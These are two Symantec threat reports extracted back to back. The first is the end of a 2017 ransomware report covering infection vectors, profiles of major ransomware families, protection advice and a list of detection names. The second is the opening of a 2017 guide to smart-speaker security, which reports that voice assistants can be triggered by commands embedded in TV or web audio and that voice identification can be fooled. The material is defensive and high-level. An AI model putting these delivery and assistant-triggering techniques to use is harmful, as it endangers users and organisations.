|Clicks a link that initiates a download and installation
of the ransomware. Social engineering is usually used to
trick the user into clicking the link.
|Clicks a link that points to an exploit kit which will
ultimately lead to the malware being installed on the computer Disruption
With well-resourced botnets pumping out millions of spam
emails daily, email was the dominant source of ransomware
during 2016. While it remains a major threat during 2017, malicious email distributors have experienced some disrup -
tion in the first half of the year, meaning activity is behind 2016 levels.
One of the main disruptions seen was to the Necurs botnet
(Backdoor.Necurs ), which was one of the biggest distributors
of malware during 2016, running massive spam campaigns
spreading the Locky ransomware (Ransom.Locky ), among
other threats. Necurs ceased operating on December 24 2016 and, initially it appeared that its controllers were taking a break for the holiday period (not uncommon among cyber
criminals). However, Necurs remained silent for almost three
months, leading to some speculation that it had disappeared entirely. The botnet resumed operations in late March 2017.
When it returned, it was involved in pump-and-dump stock
scams, although by April, the botnet was once again distrib -
uting ransomware. The reason for its long absence remains
unknown.
With well-resourced botnets pumping
out millions of spam emails daily, email was the dominant source of ransomware during 2016.
The impact of Necurs going silent was immediately apparent.
During December 2016, the last month Necurs was active,
one in 98 emails blocked by Symantec contained malware. In
January 2017 the email malware rate dropped precipitously to one in 772. Since Necurs resumed operations in March, the
email malware rate has steadily climbed and the increase may
be linked to Necurs’ return. However, email malware rates are still not at the same level as seen in the latter part of 2016. How ransomware is spreadBack to Table of ContentsPage 21
05 Ransomware 2017
Email malware rate (one in) seen by Symantec, which
dropped significantly after Necurs went offline in late December 2016
100
200
300
400
500
600
700
800
J M A M F JAN
2017D N O S A JUL
2016Email malware rate (1 in)
Exploit kits
Second only to email, exploit kits were, for a long time, one of
the main infection vectors for ransomware. However, exploit
kit operators have suffered a series of setbacks in recent times and the proportion of ransomware being delivered by exploit
kits has fallen.
Exploit kits work by exploiting vulnerabilities in software in
order to install malware. Exploit kit attackers compromise
third-party web servers and inject iframes into the web pages
hosted on them. The iframes direct browsers to the exploit kit servers.
Attackers can redirect users to exploit kits in a number of
different ways:
|Malicious links in spam email or social media posts
|Malvertisements
|Redirected web traffic from traffic distribution services
During 2016, there was a significant drop in exploit kit activity.
Symantec logged a 60 percent decrease in exploit kit detec-
tions, a fall which was driven, in part, by the disappearance of a number of major exploit kit operators during the year.
The Angler exploit kit, which was the most widely seen exploit
kit at the beginning of 2016, suddenly dropped off the map from June 2016 onwards. This development coincided with
the arrest of 50 people in Russia accused of involvement with
the Lurk banking fraud group . Although not confirmed, it is
widely believed that the two events were linked.
Angler wasn’t the only exploit kit to disappear. Another major
operator, the Nuclear exploit kit, also disappeared at around the same time, most likely due to research that was published
which shed light on the toolkit’s infrastructure and likely led
to disruptions.Neutrino, which was for a brief period of time one of the most widely used exploit kits, disappeared completely in April 2017.
Its disappearance was prefigured by a decision in September 2016 to scale back activity and only work with selected customers.
Despite numerous disruptions, exploit kit activity has by no
means ceased completely and, at the time of writing, the RIG exploit kit was one of the most active exploit kit operations
involved in spreading ransomware.
The number of web attacks blocked by Symantec declined
during 2016, indicative of the fall in exploit kit activity. Web
attack activity has begun to rise again during May and June of
2017. At present it is too early to say how much of this recent increase involves ransomware being spread by exploit kits.
Web attacks blocked by Symantec per month
2468101214
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016Web attacks blockedMillion
Despite numerous disruptions,
exploit kit activity has by no means ceased completely and, at the time of writing, the RIG exploit kit was one of the most active exploit kit operations involved in spreading ransomware.How ransomware is spreadBack to Table of ContentsPage 22
05 Ransomware 2017
Other infection vectors
While email and exploit kits are the two predominant methods
used to spread ransomware, the following techniques are also
deployed:
| Self-propagation: As discussed earlier, new variants
of WannaCry and Petya employed self-propagation to
dramatic effect. They were not the first ransomware
families to employ this technique and it has previously been used by ZCryptor (W32.ZCrypt ), which infects all
removable drives with a copy of itself before it begins encrypting files. In addition to this, a number of Android ransomware families display worm-like behavior by
spreading to all contacts on a device’s address book using
SMS messages.
| Malvertising: Malicious ads are placed through ad
networks whose ads are distributed through trusted
websites with a high volume of visitors. The visitor
doesn’t even have to click on the ad in some cases, as simply loading the web page hosting the malvertisement
will lead to infection, often through redirection to an
exploit kit. The malicious components of the ads are only present for a short period of time and, once removed, all
traces of its presence disappear. Ransomware criminals
avail of malvertising because they can purchase ad space through real-time ad-bidding networks, making it easy to
target people located in economically strong locations.
| Brute-forcing passwords: An emerging tactic for
spreading ransomware is by way of brute-forcing login credentials for software used on servers. The attackers
behind Bucbi (Ransom.Bucbi) use this method to gain a foothold on remote desktop protocol (RDP) servers. Bucbi
then encrypts files on computers and other servers that
the RDP server has access to. | Exploiting server vulnerabilities: Attackers have also
been seen targeting vulnerable software running on
servers to gain access to an organization’s network.
The gang behind the SamSam ransomware (Ransom.SamSam ) use freely available tools to find and exploit
vulnerabilities to spread their malware throughout the network. In addition to this, the Linux.Encoder (Unix.
LinuxEncoder ) ransomware family targets Linux web
servers. The attackers exploit vulnerabilities in site
plugins or third-party software to infect victims. Linux.
Encoder then encrypts directories associated with website
files, rendering any site hosted on the affected computer unusable.
| SMS messages and third-party app stores: As previously
mentioned, Android ransomware threats can be spread
through SMS messages; however, they can also make it
onto a device by way of untrusted third-party app stores. An example of this can be seen with Android.Lockdroid.E,
which poses as a pornographic video player on third-party
app stores. Instead of playing adult videos, however, the app snaps a picture of the victim using the device’s camera
and includes the image as part of the ransom note. Internet Security Threat Report
Major ransomware
threats
06SectionMajor ransomware threatsBack to Table of ContentsPage 24
06 Ransomware 2017
Most recently seen ransom amount:
0.5 bitcoin ($2,000 on August 2017 rates.
Ransom demands vary over time.)
Discovery: March 2016
Known infection vectors: Spam
campaigns, RIG exploit kit, Magnitude exploit kit
Appearing first in March 2016, Cerber has
emerged as one of the most widely spread ransomware families over the past year,
distributed through spam and exploit
kit campaigns. Spam campaigns have employed JavaScript (JS.Downloader) and Word macro ( W97M.Downloader)
downloaders, in addition to a number of campaigns where Cerber was delivered directly as a zipped attachment. Recent variants have incorporated additional functionality in the form of a Bitcoin
wallet-stealing feature.
Most recently seen ransom amount:
0.356 bitcoin ($1,467 on August 2017 rates.
Ransom demands vary over time.)
Discovery: May 2017
Known infection vectors:
Spam campaigns
Jaff is a relatively recent arrival on the
ransomware landscape but made an
immediate impact. It is being spread by major malicious spam campaigns mounted via the Necurs botnet. The ransomware is
downloaded by a malicious macro which is
itself dropped by a .pdf file attached to the spam email.
Early variants of the ransomware appended
encrypted files with a .jaff file extension. More
recent variants use an extension of .sVn.
Interestingly, before it begins encrypting
files, Jaff checks the language setting of the infected computer. If it finds that it is Russian, it will delete itself.
Cerber ransom note
Jaff ransom noteJaff
Detection name: Ransom.JaffCerber
Detection name: Ransom.CerberMajor ransomware threatsBack to Table of ContentsPage 25
06 Ransomware 2017
Most recently seen ransom amount:
$2,000 in bitcoin
Discovery: September 2016
Known infection vectors: Spam
campaigns, botnets, RIG exploit kit
Sage is an evolution of older
ransomware known as CryLocker. It has
been highly active over the past year and has been distributed through a wide variety of channels including the Trojan.Pandex spamming botnet, the Trik
botnet, and the RIG exploit kit.
Ransom demands have varied over time,
but recent versions have requested the equivalent of $2,000 in bitcoin. Like Cerber, it offers multiple-language
support in its ransom note.
Sage ransom note
Most recently seen ransom amount:
0.35 bitcoin ($1,401 on August 2017
rates. Ransom demands vary over time.)
Discovery: May 2017
Known infection vectors:
Spam campaigns
Another recent arrival, GlobeImposter
has managed to make an impact due
to its being distributed by a major malicious spamming operation known as Blank Slate, which has been linked in
recent times to a number of ransomware
families.
GlobeImposter began by encrypting files
with the .crypt file extension, but reports indicate that it is now using as many as
20 different file extensions.
GlobeImposter ransom noteGlobeImposter
Detection name: Ransom.GlobeImposterSage
Detection name: Ransom.CryMajor ransomware threatsBack to Table of ContentsPage 26
06 Ransomware 2017
Most recently seen ransom amount:
0.49 bitcoin ($1,963 on August 2017 rates.
Ransom demands vary over time.)
Discovery: February 2016
Known infection vectors: Spam
campaigns, Neutrino exploit kit, Nuclear exploit kit, RIG exploit kit
Appearing first in early 2016, Locky has
been an ongoing ransomware menace. The malware is mainly spread through major spam campaigns, but Locky has also been distributed through a number of exploit kits
at times.
Locky has experienced periodic dips in
activity, such as when the Necurs spamming botnet went quiet in early 2017, but invariably reappears with new campaigns
seen as recently as August 2017.
Locky ransom note
Most recently seen ransom amount:
Variable
Discovery: September 2016
Known infection vectors: Targeted attacks
involving network compromise
An example of the kind of targeted
ransomware being deployed against
organizations, the attackers first compromise the victims network before using publicly available tools, such as Microsoft
Sysinternals utilities to traverse it and install
Mamba on targeted computers. Rather than encrypt selected files, Mamba instead opts for encryption of the entire hard disk.
Mamba was linked to the attack on San
Francisco’s light rail system, Muni in
November 2016, where attackers reportedly demanded $73,000. The ransomware is reportedly still being used in targeted
attacks during 2017.
Mamba ransom noteMamba
Detection name: Ransom.HDDCryptorLocky
Detection name: Ransom.LockyInternet Security Threat Report
Protection and
best practices
07SectionProtection and best practicesBack to Table of ContentsPage 28
07 Ransomware 2017
Adopting a multilayered approach to
security minimizes the chance of infection.
Symantec has a strategy that protects
against ransomware in three stages:
01 Prevent
02 Contain
03 Respond
01 Prevent
Preventing infection is by far the best outcome so it pays to
pay attention to how infection can be prevented. Email and
exploit kits are among the most common infection vectors for
ransomware, but organizations must also be aware of the new generation of self-propagating ransomware which spreads
across networks using stolen credentials and exploiting
vulnerabilities. Adopting a robust defense against all of these infection vectors will help reduce the risk of infection.
Email security
Email-filtering services such as Symantec Email Security.
cloud can help to stop malicious emails before they reach users. Symantec Messaging Gateway’s Disarm technology can
also protect endpoints from this threat by removing malicious
content from attached documents before they even reach the
user. Disarm is particularly effective against targeted attacks, sterilizing all active content in emails. It removes all active
content from attachments such as Microsoft Office documents
and PDFs, including macros and JavaScript. A digital carbon copy of the active content is created and attached to the email
instead, meaning the endpoint is never exposed to the original
malicious conent.
Email.cloud technology includes Real Time Link Following
(RTLF) which processes URLs present in attachments, not
just in the body of emails. In addition to this, Email.cloud has advanced capabilities to detect and block malicious JavaScript
contained within emails through code analysis and emulation.
Intrusion prevention
Symantec intrusion prevention system (IPS) technology can
detect and block malicious traffic from exploiting vulnerabil-ities, preventing the installation of ransomware. Symantec
Endpoint Protection (SEP) and Norton with IPS enabled
proactively blocked any attempt to exploit the vulnerabilities used by WannaCry and Petya, meaning customers were fully
protected even before WannaCry first appeared.Proactive Exploit ProtectionSymantec Proactive Exploit Protection (PEP) recognizes a range
of malicious behaviors that are common in exploit attacks and blocks exploit activity.
In addition, Memory Exploit Mitigation (MEM) further
enhances zero-day protection capabilities by hardening the operating system.
Download Insight
Symantec Download Insight technology examines files that are
downloaded through or launched by web browsers, messaging
clients, and other portals. Download Insight determines whether a file is a risk based on reputation.
Download Insight automatically computes reputation and
rating of files, URLs, and websites using the ‘wisdom of crowds’ (analytics). It classifies every program that it encounters as
either good or bad.
Browser Protection
Symantec’s Browser Protection solution analyzes the web
browser’s state and blocks websites from delivering exploits.
Best practice
End users are advised to immediately delete any suspicious emails they receive, especially those containing links and/or
attachments.
Be wary of Microsoft Office attachments that prompt users
to enable macros. While macros can be used for legiti-
mate purposes, such as automating tasks, attackers often
use malicious macros to deliver malware through Office documents. To mitigate this infection vector, Microsoft has
disabled macros from loading in Office documents by default.
Attackers may use social-engineering techniques to convince users to enable macros to run. As a result, Symantec recom-
mends that users avoid enabling macros in Microsoft Office.
02 Contain
In the event of a payload arriving on a computer, a critical step
is to limit the spread of the attack. Symantec’s file-based tech-
nologies ensure that any payload downloaded on the computer
will not be able to execute its routines.
Symantec is investing in Response Operations to specifically
address ransomware and now has a dedicated team focused on ransomware protection.Protection and best practicesBack to Table of ContentsPage 29
07 Ransomware 2017
Advanced antivirus engine
Symantec uses an array of detection engines including an
advanced antivirus engine with heuristics, just-in-time (JIT)
memory scanning, machine-learning engines, and emulator.The emulator enables the engine to heuristically detect
encryption behavior without needing a signature. Together
with Auto Protect, it will detect ransomware files when they hit the disk, bypassing the packers and encryptors employed
to evade static detection technologies.
SONAR behavior engine
SONAR is Symantec’s real-time behavior-based protection
that blocks potentially malicious applications from running on the computer. It detects malware without requiring any
specific detection signatures. SONAR uses heuristics, repu-
tation data, and behavioral policies to detect emerging and unknown threats. SONAR can detect encryption behaviors
common to ransomware. It also employs machine learning
to block programs that exhibit combinations of thousands of different suspicious behaviors.
Sapient – machine learning
Sapient is Symantec’s enhanced machine learning heuristic
technology. It has been trained to specifically target ransom-
ware. Sapient automatically blocked 92 percent of ransomware samples seen in the last year without cloud support enabled
and that figure increased to 100 percent blocked with cloud
support. In the case of brand-new ransomware families, Sapient blocked 40 percent without cloud support enabled and
100 percent with cloud support.
Symantec’s machine learning proved its worth during the
WannaCry outbreak. In cases where customers didn’t have IPS
enabled (which blocked the exploit used), Symantec Endpoint
Protection (SEP) 14 proactively blocked all WannaCry infec-tions on day zero, without requiring any updates.
Best practice
Perform a full network scan to identify all infected computers.
Compromised computers should be isolated from the network
until they have been fully cleaned and restored.
Ongoing development
Symantec has a 24/7 Security Technology and Response (STAR) team responsible for ongoing development and
improvement of generic signatures for ransomware. The team
carries out continuous monitoring of ransomware families and their delivery chain in order to harvest new samples and
ensure robust detection.03 Respond
There are a number of steps organizations can take to ensure a
speedy recovery from ransomware infections.
Incident Response
Symantec Incident Response (IR) can help organizations with
responding to attacks and with making decisions on what to
do next.
Help identify the primary infector and contain further
spread: Determining the primary attack is critical to under -
standing what the attacker’s primary campaign is targeting
and ensures that you aren’t missing the actual attack by
focusing solely on the ransomware.
Provide incident-specific recommendations to prevent
success of future similar attacks: We can assist the customer
with implementing controls to prevent any further outbreaks
as well as assisting them to enhance their endpoint protection environment. In previous incidents, it has taken us as little as
72 hours to significantly improve the security environment at
organizations which have been repeat victims of ransomware attacks.
Analyze the malware to determine how data was encrypted
to help victims create a data recovery plan: In many cases, the malware writer makes mistakes in implementation that can be
exploited by incident responders to recover data more easily. A
skilled malware analyst can reverse engineer the ransomware to identify any weaknesses in implementation and help the
user recover their data.
W ork with the customer’s data recovery provider to help
determine the best plan, based on the specific threat: In
many cases, customers hire a data recovery service to assist
in the ransomware recovery process. The recovery process is unique to each individual situation and can depend heavily
on the sophistication of the malware used. After analyzing
the malware to understand how it encrypts and erases data, Symantec IR can work with the data recovery provider to
develop an efficient and effective data recovery plan.
Best practices
Backing up important data is one of the key pillars of combating
ransomware infections. However, as there have been cases of ransomware encrypting backups, it should not be a replace -
ment for a robust security strategy.
Victims need to be aware that paying the ransom does not
always work. Attackers may not send a decryption key, could
poorly implement the decryption process and damage files,
and may deliver a larger ransom demand after receiving the initial payment.Protection and best practicesBack to Table of ContentsPage 30
07 Ransomware 2017
Appendix: Symantec detections for common ransomware families
The following is a list of commonly known names of recent ransomware families discovered since January 2016,
along with Symantec’s detection names for them. Note that ransom demands are those logged at time of discovery.
Discovered Type Common name/Alias Ransom demand Symantec detection
July 2017 Crypto Karo Ransom.Karo $500 in BTC
July 2017 Crypto FakeCry Ransom.Fakecry 0.1 BTC
July 2017 Crypto HakunaMatata / NM4 / Nmoreira Ransom.Haknata Unknown
June 2017 Crypto BTCWare Ransom.BTCware Unknown
June 2017 Crypto Sorebrect / XDATA / AES-NI Ransom.Sorebrect Unknown
June 2017 Crypto Erebus Ransom.Erebus 1 BTC
May 2017 Crypto GlobeImposter Ransom.GlobeImposter 0.085 BTC
May 2017 Crypto Jaff Ransom.Jaff 0.356 BTC
May 2017 Crypto UIWIX Ransom.Uiwix $200 in BTC
May 2017 Crypto WannaCry Ransom.Wannacry $300 in BTC
April 2017 Crypto Mole Ransom.Mole Unknown
March 2017 Crypto Vortex Ransom.Vortex $199
February 2017 Crypto OSX Patcher OSX.Ransom 0.25
February 2017 Crypto Ishtar Ransom.Ishtar Unknown
February 2017 Crypto Hermes Ransom.Hermes Unknown
February 2017 Crypto Lambda Ransom.Lambdalocker 0.5 BTC
January 2017 Crypto Spora Ransom.Spora Unknown
January 2017 Crypto Evil Ransom.Evil Unknown
January 2017 Crypto FireCrypt / BleedGreen Ransom.Firecrypt $500
December 2016 Crypto Goldeneye Ransom.Goldeneye 1.33 BTC
November 2016 Locker YeeScrLocker Ransom.YeeScrLocker Unknown
November 2016 Crypto OzozaLocker Ransom.OzozaLocker 1 BTC
November 2016 Crypto PrincessLocker Ransom.PrincessLocker 3 BTC
November 2016 Crypto Crypton Ransom.Crypton 0.2 to 2 BTC
November 2016 Locker Ransoc Ransom.Ransoc Amount varies
November 2016 Locker Survey Ransomware Ransom.PCsurveyLocker To complete a survey
November 2016 Crypto Telecrypt Ransom.Telecrypt 5000 RUB
November 2016 Crypto MasterBuster Ransom.MasterBuster $52 = 3500 Rupees
October 2016 Crypto JapanLocker / shc Ransomware Ransom.SHCLocker Unknown
October 2016 Crypto Google Go Ransomware Ransom.Googo 0.0523 BTCProtection and best practicesBack to Table of ContentsPage 31
07 Ransomware 2017
Discovered Type Common name/Alias Ransom demand Symantec detection
October 2016 Crypto CryPy Ransom.CryPy Unknown
October 2016 Crypto DXXD Ransom.DXXD Unknown
October 2016 Crypto HadesLocker Ransom.HadesLocker 1 BTC
September 2016 Crypto Xpan Ransom.Xpan 1 BTC
September 2016 Crypto Nagini Ransom.Nagini asks for CC number
September 2016 Crypto MarsJoke Ransom.MarsJoke 0.6 BTC
September 2016 Crypto HDDCrypto/ Mamba Ransom.HDDCryptor Unknown
September 2016 Crypto Philadelphia Ransom.Philadelphia 0.3 BTC
September 2016 Crypto Kawaii Ransom.Kawaii $100 / 6000 Roubles
September 2016 Crypto Cry Ransom.Cry 1.13 BTC
September 2016 Crypto FSociety Ransom.Fsociety n/a
September 2016 Crypto Serpico / Detox Ransom.Serpico $56 / 50 Euro
August 2016 Crypto Domino Ransom.Domino 1 BTC
August 2016 Crypto Fantom Ransom.Fantom Unknown
August 2016 Crypto KaoTear Ransom.KaoTear Unknown
August 2016 Crypto Globe / Purge Ransom.Purge Unknown
August 2016 Crypto AlmaLocker Ransom.AlmaLocker Unknown
August 2016 Locker Hitler-Ransomware Ransom.Hit 25 Euro Vodafone Card
August 2016 Crypto Shark RaaS / Atom Ransom.SharkRaaS Unknown
August 2016 Crypto Smrss32 Ransom.SMRSS32 1 BTC
August 2016 Locker Fake Windows Activation Scam Ransom.SupportScam.C n/a
July 2016 Crypto PowerWare new variant Ransom.PowerWare.B 0.74 BTC
July 2016 Crypto Stampado Ransom.Stampado Unknown
July 2016 Crypto HolyCrypt Ransom.HolyCrypt Unknown
July 2016 Crypto LEIA / Brazilian Ransomware Ransom.LEIA Unknown
July 2016 Crypto JuicyLemon Ransom.JuicyLemon 2.5 BTC
June 2016 Crypto Pizzacrypt Ransom.Pizzacrypt Unknown
June 2016 Crypto Apocalypse Ransom.Apocalypse Unknown
June 2016 Crypto Satana Ransom.Satana 0.5 BTC
June 2016 Crypto MIRCOP / Guy Fawkes Ransom.MIRCOP 48.48 BTC
June 2016 Crypto BART Ransom.BART 3 BTC
June 2016 Crypto DEDCryptor Ransom.DEDCryptor 2 BTC
June 2016 Crypto RAA JS.RansomRAA 0.39 BTC Protection and best practicesBack to Table of ContentsPage 32
07 Ransomware 2017
Discovered Type Common name/Alias Ransom demand Symantec detection
June 2016 Crypto My-Little-Ransomware / cuteRansomware Ransom.MyLittleRansom n/a
June 2016 Crypto Zyklon / Wildfire Ransom.Zyklon 0.5 BTC
June 2016 Crypto Nemucod Ransomware Ransom.Nemucod.B 0.32 BTC
June 2016 Crypto Crysis Ransom.Crysis €400 to €900 in BTC
June 2016 Crypto ODCODC Ransom.ODCODC $500
June 2016 Crypto BlackShades Ransom.BlackShades 0.07 BTC
May 2016 Crypto zCrypt W32.Zcrypt 1.2 BTC
May 2016 Crypto Bloccato Ransom.Bloccato 5 BTC
May 2016 Crypto BadBlock Ransom.BadBlock 2 BTC
May 2016 Crypto 777 / Ninja.Gaiver Ransom.777 Unknown
May 2016 Locker Rogue.TechSupportScam Ransom.SupportScam.B Unknown
May 2016 Crypto CryptoHitman Ransom.CryptoHitman $150 in BTC
May 2016 Crypto Shujin Ransom.Shujin Unknown
May 2016 Crypto Mischa Ransom.Mischa 1.93 BTC
May 2016 Crypto Mobef / Yakes Ransom.Mobef 4 BTC
May 2016 Crypto Enigma Ransom.Enigma 0.42 BTC
May 2016 Crypto Bucbi Ransom.Bucbi 0.5 BTC
May 2016 Crypto MM Locker Ransom.MMLocker 1.01 BTC
May 2016 Crypto Alpha Locker Ransom.AlphaLocker $400 in iTunes Card
April 2016 Locker BrLock Ransom.BrLock Unknown
April 2016 Crypto TrueCrypter Ransom.TrueCrypter 0.2 BTC
April 2016 Crypto Yougothacked Ransom.Yougothacked 0.5 BTC
April 2016 Crypto Nemucod 7-Zip Ransom.Nemucod 0.52 BTC
April 2016 Crypto CryptXXX / UltraDeCrypter / CrypMic Ransom.CryptXXX $500 in BTC
April 2016 Crypto Kovter Ransom.Kovter.B Unknown
April 2016 Crypto AutoLocky Ransom.AutoLocky 0.75 BTC
April 2016 Crypto Jigsaw Ransom.Jigsaw $40 in BTC
April 2016 Crypto CryptoHost / Manamecrypt / ROI Locker Ransom.CryptoHost 0.3 BTC
April 2016 Crypto Sanction / Rush Ransom.Sanction 3 BTC
April 2016 Crypto KimcilWare PHP.KimcilWare 1 BTC
April 2016 Crypto Zeta / CryptoMix / CryptFile2 Ransom.CryptoMix Unknown
April 2016 Crypto Rokku Ransom.Rokku 0.24 BTC
April 2016 Locker Rasith W32.Rasith $4Protection and best practicesBack to Table of ContentsPage 33
07 Ransomware 2017
Discovered Type Common name/Alias Ransom demand Symantec detection
March 2016 Crypto Cryptohasyou Ransom.Cryptohasyou $300
March 2016 Crypto Petya Ransom.Petya 0.99 BTC
March 2016 Crypto Coverton Ransom.Coverton 1 BTC
March 2016 Locker Homeland Security Screen Locker Ransom.FakeDHS $500 in BTC
March 2016 Crypto Maktub Ransom.Maktub 1.4 BTC
March 2016 Locker AndroidOS_Locker Android.Lockdroid.H 10.000 Japanese yen
March 2016 Crypto KeRanger OSX.Keranger 1 BTC
March 2016 Crypto Cerber Ransom.Cerber 1.24 BTC
March 2016 Crypto PHP CTB-Locker PHP.CTBLocker 0.4 BTC
March 2016 Crypto Samas / SamSam Ransom.SamSam 1.5 BTC
February 2016 Crypto PadCrypt Ransom.PadCrypt 0.8 BTC or Ukash/PaySafeCard
February 2016 Crypto Locky / Zepto Ransom.Locky 1 BTC
February 2016 Crypto HydraCrypt / UmbreCrypt Ransom.UmbreCrypt 1.5 BTC
February 2016 Crypto RackCrypt / MVP Locker Ransom.MVPLocker 1.3 BTC
February 2016 Crypto Job Crypter Ransom.JobCrypter €300 Pay Safe Card
January 2016 Crypto 7ev3n / HONE$T Ransom.Seven 13 BTC
January 2016 Crypto LeChiffre Ransom.LeChiffre Unknown
January 2016 Crypto DMA-Locker Ransom.DMALocker 15 BTC
January 2016 Crypto NanoLocker Ransom.NanoLocker 1.01 BTC
January 2016 Crypto CryptoJoker Ransom.CryptoJoker Unknown
January 2016 Crypto Ransom32 Ransom.Ransom32 1 BTCAbout Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-reportSymantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
November 2017
Contents
Executive summary, key
findings, and introduction
Voice assistants and smart
speakers: What you need to know
What are the risks?ConclusionProtectionA guide to the security
of voice-activated
smart speakers
An ISTR Special Report
Analyst: Candid WueestA guide to the security of voice-activated smart speakers
Contents
3 Executive summary, key findings,
and introduction
5 Voice assistants and smart speakers: What you need to know
6 What do they do?
6 Other “smart” assistants
7 Actions, skills, and Easter eggs
8 Amazon Echo Dot
8 20 Alexa Easter eggs to try
8 20 Google Assistant Easter eggs to try
10 Google Home
11 What are the risks?
12 Security – Who can interfere with your device?
12 Get by with a little help from your friends (and family)
12 The curious child attack
13 The mischievous man next door attack
14 Television troubles
15 Stranger danger
15 Smart speakers could go loopy
15 Wi-Fi worries
17 Privacy
18 Deleting recordings
19 Conclusion
21 Protection
22 Configuration tips
23 About Symantec
23 More InformationA guide to the security of voice-activated smart speakers
Executive summary,
key findings, and
introduction
00SectionExecutive summary, key findings
and introductionBack to Table of ContentsPage 4
00A guide to the security
of voice-activated smart speakers
Executive Summary
Voice-activated smart speakers are very popular
and are now integrated in many everyday objects. After smartphones, they are the next big step for
voice assistants. The market is currently dominated
by Amazon Alexa’s Echo range, which holds 73 percent of market share, with more than 20 million devices in the U.S. alone, followed by Google Home,
which holds nearly all the rest of the market.
In the course of our investigation, we found that voice-
activated speakers can be triggered unintentionally through
voice commands embedded in websites or TV advertisements.
We also discovered that the wake-up word does not always have to be accurate to trigger the device, for example, the
Google Assistant woke up for “Ok Bobo”, demonstrating that
unintentional triggering does happen, even during normal conversations. Fortunately, most of the commands that could
be triggered inadvertently are more likely to be a nuisance
than a serious security threat, and could lead to things like alarms going off during the night. The fact that smart
speakers are always listening also brings up a lot of privacy
concerns, however, it’s important to note that the encrypted recordings are only sent to the backend once the wake-up
word has been heard. So far, there is no evidence to suggest
that the recordings are sold to external companies, but they are of course processed and archived by the service provider.
The major providers have already started to offer free calling
features, so smart speakers might soon take the place of landline phones in homes.
Also of note is that many smart speakers blindly trust the local
network, meaning any compromised device in the same network
could change the settings of the smart speaker or perform
a factory reset without the user’s agreement. Therefore, having a secure local network and a strong account password
is important. A strong password is particularly important
considering anyone with access to the account can listen to old recordings or change the settings of the device over the
internet.
With some devices capable of conducting voice purchases, it is
important to secure the settings and monitor notifications. An
important security feature of smart speakers is the ability to
distinguish between voices, but this is not foolproof yet.Key findings
|The biggest threat to the security of your voice-activated
smart speaker is the other people who can access it
|It’s not just other people: the TV, radio, websites, and
even other smart speakers can all mess with your device—
causing it to play pranks or malfunction
|Privacy concerns are still one of the biggest issues when it
comes to smart speakers
|Wake-up keywords can be misheard, e.g. “Ok Bobo”
triggers the Google Assistant to wake up
|Voice identification is an important feature, but current
versions can still be fooled
|Attackers that gain access to the local network can change
the settings of Google Home devices or perform a factory reset
|When the linked email account gets compromised, then
the device could be used to spy on people
|The most likely attack vector is through vulnerabilities in
streaming services, but so far we haven’t seen this vector
being used in the wild
Introduction
Smart speakers with built-in voice-activated
assistants arrived on the scene in the last few years, with the aim of making people’s lives easier, allowing
us to access the perfect recipe with ease, and change
our music selection without leaving our chairs.
An array of companies have announced or already sell smart
speakers that integrate with Google Assistant (Google), Siri
(Apple), Cortana (Microsoft), and Alexa (Amazon). Amazon
Echo, Google Home, and the Apple’s HomePod are probably the best known examples. But, while they make life easier in
some ways, could they also be endangering people’s privacy
and online security?
As well as reading out recipes and playing music, some of these
devices also come equipped with cameras that can be operated
remotely, while others allow you to order goods online using just your voice. The range of activities that can be carried
out by these speakers means that a hacker or even just a
mischief-minded friend or neighbor could cause havoc if they access these devices.
In this paper, we detail a range of issues we found with these
devices, including software weaknesses, configuration issues, and badly designed processes. We will go through these issues
and provide recommendations on how to connect and configure
these devices as securely as possible.A guide to the security of voice-activated smart speakers
Voice assistants and
smart speakers:
What you need to know
01SectionWhat are voice assistants
and smart speakers?Back to Table of ContentsPage 6
01A guide to the security
of voice-activated smart speakers
What are voice assistants and smart speakers?
Siri, Cortana, Alexa, and Google Assistant
are just some of the numerous voice assistants that exist today, with the smart
speakers that have them integrated set to
become a staple of modern-day living.
Smart speakers, also known as “smart home voice-activat -
ed assistants”, come in many different shapes and sizes. Put
simply, they are music speakers combined with a voice recog-
nition system that the user can interact with. Users use a wake-up word to activate the voice assistant, such as “Alexa”
or “Ok Google”, and they can then interact with the smart
speaker using just their voice: they can ask it questions or request that it start playing music.
There are many different types of smart speakers and voice
assistants on the market at the moment [see panel], with varying levels of capabilities. Some are open for third parties
to use and allow integration into cars or fridges. For example,
BMW announced some of its cars would come with a built-in Alexa voice assistant in 2018, and Sonos, which manufac-
tures speakers, has made a similar announcement. Some hotel
chains have already added voice-activated smart speakers to all rooms. There are also services such as Houndify that allow
users to add a voice assistant to other devices, and there is
even a Kickstarter project for a flying voice assistant. As can be seen, the market for smart speakers is growing rapidly at
the moment.
Other “smart” assistants
|Apple’s HomePod, based on Siri
|Third-party speakers with integrated Cortana from
Microsoft
|MyCroft , an open source AI that can run on a
Raspberry Pi
|Samsung Bixby
|Djingo
|AI Buddy
|Eufy Genie, based on Alexa
|Nestlé XiaoAI, which focuses on nutrition
knowledgeAccording to research by Consumer Intelligence Research
Partners (CIRP), the current market in the U.S. for voice-acti-
vated smart speakers is dominated by Amazon Echo (with a
share of 73 percent) and Google Home (with 27 percent). There are 20 million Amazon Alexa-powered Echo units in the U.S.
alone, and this is trending upwards. With these statistics in
mind, for the purposes of this investigation, we focused on two of the most widely used devices:
|Amazon Echo Dot, based on Alexa
|Google Home, based on Google Assistant
What do they do?
The main usefulness of smart speakers is that the voice-acti-vated assistant can access all the intelligence in the backend: once activated through the keyword, it sends a recording to
the backend for analysis. In the background, it makes use of
speech recognition (SR) and natural language understanding (NLU) to understand the commands. The context of this is then
analyzed in the cloud and a reply is sent back. The device is
always listening for the trigger keyword (“Alexa” is the default in the case of the Echo Dot, and “OK Google” in the case of
Google Home). The word or phrase is detected locally on the
device, and only once it is matched is a recording made and sent back to the Amazon or Google servers, although a tiny
fraction of sound from just before when the matched keyword
is said is also sent back. The device is always listening, with no need for activation by pressing buttons or doing anything else.
This reality might disconcert some people, and if it does, all
the popular devices have a hardware button that allows you to mute the microphone. However, this does mean that when you
